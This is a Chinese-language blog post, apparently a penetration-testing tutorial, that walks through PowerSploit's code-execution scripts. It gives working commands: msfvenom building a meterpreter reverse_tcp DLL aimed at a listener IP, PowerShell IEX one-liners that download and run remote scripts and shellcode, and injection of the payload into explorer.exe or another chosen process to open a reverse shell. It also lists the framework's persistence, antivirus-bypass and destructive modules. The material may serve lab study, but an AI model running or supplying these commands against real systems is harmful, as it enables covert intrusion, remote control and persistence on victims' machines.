zoukankan      html  css  js  c++  java
  • PowerSploit-CodeExecution(代码执行)脚本渗透实战

    首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

    项目地址:https://github.com/PowerShellMafia/PowerSploit


    该利器主要分为几个板块

    一、代码执行(CodeExecution)

    1. Invoke-DllInjection 

    2. Invoke-ReflectivePEInjection

    3. Invoke-Shellcode

    4. Invoke-WmiCommand

    二、脚本修改(ScriptModification)

    1. Out-EncodedCommand

    2. Out-CompressedDll

    3. Out-EncryptedScript

    4. Remove-Comments

    三、权限维持(Persistence)

    1. New-UserPersistenceOption

    2. New-ElevatedPersistenceOption

    3. Add-Persistence

    4. Install-SSP

    5. Get-SecurityPackages

    四、绕过杀毒软件(AntivirusBypass)

    Find-AVSignature

    五、信息收集(Exfiltration)

    这个文件夹主要是收集目标主机上的信息。

    六、信息侦察(Recon)

    这个文件夹主要是以目标主机为跳板进行内网主机侦察。

    总结下就是:

    CodeExecution 在目标主机执行代码

    ScriptModification 在目标主机上创建或修改脚本

    Persistence 后门脚本(持久性控制)

    AntivirusBypass 发现杀软查杀特征

    Exfiltration 目标主机上的信息搜集工具

    Mayhem 蓝屏等破坏性脚本

    Recon 以目标主机为跳板进行内网信息侦查

    安装方法

    我们在Linux下首先clone这个git:

    git clone https://github.com/PowerShellMafia/PowerSploit.git

    然后将clone下的文件放入保证被攻击机能够访问的机器上面,这里我们采用本机,在本机搭建apache环境,将文件放入/var/www/html目录下即可。
    开启apache服务:

    service apache2 start


     

    实战运用:

    CodeExecution模块

    a) 调用Invoke-Shellcode将shellcode注入到本地的Powershell。

    1)利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成的反弹马放入web中。

    2) 调用目标机的powershell进行IEX远程下载invoke-shellcode脚本和生成的木马

    首先下载脚本

    PS C:Documents and SettingsAdministrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSp
    loit/CodeExecution/Invoke-Shellcode.ps1")

    下载生成好的木马

    PS C:UsersAdministrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/code")

     3)kali设置msf监听

    4)在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。

    PS C:UsersAdministrator> Invoke-Shellcode -Shellcode $buf -Force

     

     

     

    b) 调用invoke-shellcode将shellcode注入到指定的进程中。

    1)前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。

     比如我要注入explorer这个进程(Windows程序管理器或者文件资源管理器) ,首先要查看该进程的pid

    ps -Name explorer

     

      可以看到id为1228 注入该进程

    Invoke-Shellcode -Shellcode $buf -ProcessID 1228 -Force

    注意:和a类似的,若关闭注入的进程,则连接中断。

    c) 调用invoke-dllinjection将DLL注入到进程中。

    1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.190.141 lport=4444 -f dll -o /var/www/html/code.dll

     开启监听 注意payload需要和生成的dll执行的payload一致;

    PS C:UsersAdministrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSploit/CodeExecutio
    n/Invoke-DllInjection.ps1")

    注入

    PS C:UsersAdministrator> Invoke-DllInjection -Dll .code.dll -ProcessID 2700

  • 相关阅读:
    关于PDF.NET开发框架对Mysql Sqlite PostgreSQL数据库分页支持的个人看法
    【山外转载】如何高效的学习技术
    【山外笔记-四级计算机网络】第1章 网络技术基础
    【山外笔记-云原生】《Docker+Kubernetes应用开发与快速上云》读书笔记-2020.04.25(六)
    【山外笔记-数据库】Memcached教程详解
    【山外问道】什么是UUID
    【山外问道】Linux UUID的查询方法
    【山外笔记-SVN命令】svnlook命令详解
    【山外笔记-SVN命令】svn命令详解
    【山外笔记-工具框架】SVN版本控制系统
  • 原文地址:https://www.cnblogs.com/-qing-/p/10539471.html
Copyright © 2011-2022 走看看